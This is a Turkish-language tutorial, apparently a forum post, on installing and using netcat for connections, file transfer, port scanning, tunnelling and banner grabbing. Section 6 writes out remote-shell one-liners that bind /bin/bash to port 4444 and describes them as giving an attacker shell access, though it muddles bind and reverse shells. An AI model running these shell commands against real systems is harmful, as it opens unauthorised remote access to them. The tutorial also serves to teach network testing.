Eğitim Netcat (nc) Nedir ve Nasıl Kullanılır

Netcat (nc), ağ yöneticileri, sistem güvenlik uzmanları ve penetrasyon testçileri için vazgeçilmez bir araçtır. Ağ bağlantılarıyla ilgili birçok görevi yerine getirebilen, çok yönlü ve hafif bir yazılımdır. TCP ve UDP protokollerini destekleyen netcat, çeşitli bağlantı türlerini test etmek, dosya aktarmak, port taraması yapmak ve daha birçok işlemi gerçekleştirmek için kullanılabilir.

Bu eğitimde, netcat'in nasıl kullanılacağını, temel ve gelişmiş komutlarını, çeşitli kullanım senaryolarını inceleyeceğiz.

1. Netcat Kurulumu

Linux

Çoğu Linux dağıtımında netcat hazır bulunur, eğer yüklü değilse:

Debian/Ubuntu tabanlı sistemlerde:
Bash:
sudo apt-get install netcat
RedHat/CentOS tabanlı sistemlerde:
Bash:
sudo yum install nc
Arch tabanlı sistemlerde:
Bash:
sudo pacman -S netcat

Windows

Windows için netcat'i üçüncü parti kaynaklardan indirip çalıştırabilirsiniz. nmap gibi araçlarla gelen netcat sürümleri de mevcuttur. Nmap'in netcat sürümü olan Ncat'i kullanmak mantıklı olabilir.

MacOS

Bash:
brew install netcat

2. Netcat'in Temel Kullanımı

2.1. Basit Bir Bağlantı Kurma

Netcat, bir TCP veya UDP bağlantısı kurmak için kullanılabilir. Örneğin, bir hedef IP adresine ve belirli bir porta TCP bağlantısı kurmak için:
Bash:
nc [hedef_ip] [port]
Örnek:
Bash:
nc 192.168.1.10 80
Bu komut, 192.168.1.10 IP adresine, HTTP protokolü (port 80) üzerinden bir bağlantı kuracaktır. Bağlantı başarılı olursa, el ile HTTP isteği gönderebilirsiniz:
Bash:
GET / HTTP/1.1
Host: 192.168.1.10
Sunucu, uygun bir yanıt döndürecektir.

2.2. Basit Bir Sunucu Oluşturma

Netcat, hem istemci hem de sunucu olarak çalışabilir. Bir port üzerinden gelen TCP bağlantılarını dinlemek için:
Bash:
nc -l -p [port]
Örnek:
Bash:
nc -l -p 8080
Bu komut, 8080 portunu dinleyen bir TCP sunucusu oluşturur. Bir istemci bu porta bağlandığında, iki taraf veri alışverişi yapabilir.

3. Dosya Aktarımı

3.1. Netcat İle Dosya Gönderme ve Alma

Netcat'in en yaygın kullanımlarından biri de dosya aktarımıdır.

Dosya Gönderme (İstemci)

Bir dosyayı başka bir bilgisayara göndermek için şu komutu kullanabilirsiniz:
Bash:
nc [hedef_ip] [port] < [dosya_adi]
Örnek:
Bash:
nc 192.168.1.10 8080 < example.txt
Bu komut, example.txt dosyasını 192.168.1.10 IP'sindeki 8080 portuna gönderir.

Dosya Alma (Sunucu)

Bağlanan istemciden dosya almak için şu komutu çalıştırın:
Bash:
nc -l -p [port] > [dosya_adi]
Örnek:
Bash:
nc -l -p 8080 > received_file.txt
Bu komut, 8080 portunu dinler ve gelen verileri received_file.txt dosyasına yazar.

4. Port Taraması

Netcat, hedef makinelerdeki açık portları keşfetmek için kullanılabilir.

4.1. TCP Port Taraması

Hedefteki belirli bir aralıktaki portları taramak için:
Bash:
nc -z -v [hedef_ip] [başlangıç_port]-[bitiş_port]
Örnek:
Bash:
nc -z -v 192.168.1.10 20-80
Bu komut, 192.168.1.10 IP adresindeki 20 ile 80 arasındaki TCP portlarını tarar. -z bayrağı, bağlantının sadece portun açık olup olmadığını kontrol etmek için kullanılacağını belirtir. -v bayrağı ise çıktıyı ayrıntılı hale getirir.

5. Port Yönlendirme (Port Forwarding)

Netcat, basit bir port yönlendirme aracı olarak kullanılabilir. Bu işlem, iki ağ arasında veri iletmek için kullanılabilir.

Örnek bir kullanım senaryosu: Bir makinaya gelen bağlantıları başka bir IP adresine yönlendirmek.

5.1. Netcat İle TCP Tüneli Oluşturma

İstemci tarafından gelen bağlantıları, başka bir sunucuya yönlendirebilirsiniz. İki makine arasında bir TCP tüneli oluşturmak için:
Bash:
mkfifo backpipe
nc -l -p [local_port] 0<backpipe | nc [hedef_ip] [hedef_port] >backpipe
Bu komut, gelen bağlantıları belirtilen hedef IP adresine ve porta iletir.

6. Ters Bağlantı ve Shell Erişimi

Ters bağlantı (reverse shell), ağ güvenliği testlerinde sıkça kullanılan bir tekniktir. Bir sistemdeki netcat'in dinleyici olarak konfigüre edilip, bir saldırganın sistemine ters bağlantı gönderilmesiyle shell erişimi sağlanabilir.

6.1. Ters Bağlantı Oluşturma

Sunucuda ters bağlantı beklemek için:
Bash:
nc -l -p 4444 -e /bin/bash
İstemci tarafında ters bağlantı kurmak için:
Bash:
nc [hedef_ip] 4444 -e /bin/bash
Bu komutlar, saldırganın 4444 portunda dinlediği IP adresine bir shell erişimi sağlar.
Dikkat: Bu kullanım etik olmayan amaçlarla kullanılmamalıdır. Yalnızca yasal izin verilen ağlarda testler yapılmalıdır.

7. Netcat ile UDP Bağlantıları

Netcat sadece TCP değil, UDP bağlantılarını da destekler.

7.1. UDP Sunucu Başlatma

UDP bağlantılarını dinlemek için:
Bash:
nc -u -l -p [port]
Örnek:
Bash:
nc -u -l -p 9999
Bu komut, 9999 portunda UDP bağlantılarını dinler.

7.2. UDP İstemci Bağlantısı

UDP üzerinden veri göndermek için:
Bash:
nc -u [hedef_ip] [port]
Örnek:
Bash:
nc -u 192.168.1.10 9999
Bu komut, 192.168.1.10 IP adresindeki 9999 portuna UDP paketi gönderir.

8. Netcat ile Güvenlik Testleri

Netcat, ağ güvenlik testlerinde birçok amaç için kullanılabilir. İşte birkaç örnek:

8.1. Banner Yakalama

Bir sunucunun belirli bir portundan banner bilgisi almak için:
Bash:
nc [hedef_ip] [port]
Örnek:
Bash:
nc 192.168.1.10 21
Bu komut, 192.168.1.10 IP adresindeki 21 (FTP) portuna bağlanarak banner bilgisini alır.

8.2. Port Knocking

Netcat ile basit bir port knocking sistemi oluşturabilirsiniz. Bir sunucuya doğru sırayla belirli portlara istek göndererek belirli bir aksiyon başlatabilirsiniz.
Bash:
nc -z [hedef_ip] [port1] [port2] [port3]

9. İleri Düzey Netcat Özellikleri

9.1. Zaman Aşımı ve Bekleme Süresi

Bir bağlantının zaman aşımını veya bekleme süresini ayarlamak için -w bayrağını kullanabilirsiniz.
Bash:
nc -w [saniye] [hedef_ip] [port]
Örnek:
Bash:
nc -w 5 192.168.1.10 80
Bu komut, 5 saniye içinde cevap alamazsa bağlantıyı sonlandırır.

Sonuç

Netcat, ağ yöneticileri ve güvenlik uzmanları için çok yönlü ve kullanışlı bir araçtır. Yukarıda verilen örnekler ve senaryolar, netcat'in sadece temel özelliklerini değil, aynı zamanda güvenlik testlerinde ve dosya transferlerinde nasıl etkili bir şekilde kullanılabileceğini de göstermektedir.

Ağlarınızı test etmek ve sorunları çözmek için netcat'i kullanabilir, aynı zamanda güvenlik denetimleri için bu aracın esnekliğinden yararlanabilirsiniz. Netcat ile yapılabilecekler sınırsızdır; sadece hayal gücünüz ve ihtiyaçlarınızla sınırlısınız!
 
Geri
Üst